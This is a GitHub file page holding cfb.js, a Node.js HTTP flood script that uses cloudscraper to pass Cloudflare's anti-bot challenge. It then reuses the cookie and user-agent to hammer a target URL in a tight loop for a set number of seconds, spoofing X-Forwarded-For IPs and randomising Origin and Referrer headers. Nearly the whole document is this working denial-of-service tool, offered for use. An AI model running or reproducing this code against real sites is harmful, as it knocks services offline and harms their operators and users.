-
Notifications
You must be signed in to change notification settings - Fork 0
/
cfb.js
66 lines (57 loc) · 1.98 KB
/
cfb.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
var cloudscraper = require('cloudscraper');
var request=require('request');
var randomstring = require("randomstring");
var args = process.argv.slice(2);
randomByte = function() {
return Math.round(Math.random()*256);
}
if (process.argv.length <= 2) {
console.log("node cfb.js url time");
console.log("bypass method make by vilgax");
process.exit(-1);
}
var url = process.argv[2];
var time = process.argv[3];
setInterval
var int = setInterval(() => {
var cookie = '';
var useragent = '';
cloudscraper.get(url, function(error, response, body) {
if (error) {
console.log('Error occurred');
} else {
var parsed = JSON.parse(JSON.stringify(response));
cookie = (parsed["request"]["headers"]["cookie"]);
useragent = (parsed["request"]["headers"]["User-Agent"]);
}
// console.log(cookie + '/' + useragent)
var rand = randomstring.generate({
length: 10,
charset: 'abcdefghijklmnopqstuvwxyz0123456789'
});
var ip = randomByte() +'.' +
randomByte() +'.' +
randomByte() +'.' +
randomByte();
const options = {
url: url,
headers: {
'User-Agent': useragent,
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Upgrade-Insecure-Requests': '1',
'cookie': cookie,
'Origin': 'http://' + rand + '.com',
'Referrer': 'http://google.com/' + rand,
'X-Forwarded-For': ip
}
};
function callback(error, response, body) {
}
request(options);
});
});
setTimeout(() => clearInterval(int), time * 1000);
process.on('uncaughtException', function(err) {
});
process.on('unhandledRejection', function(err) {
});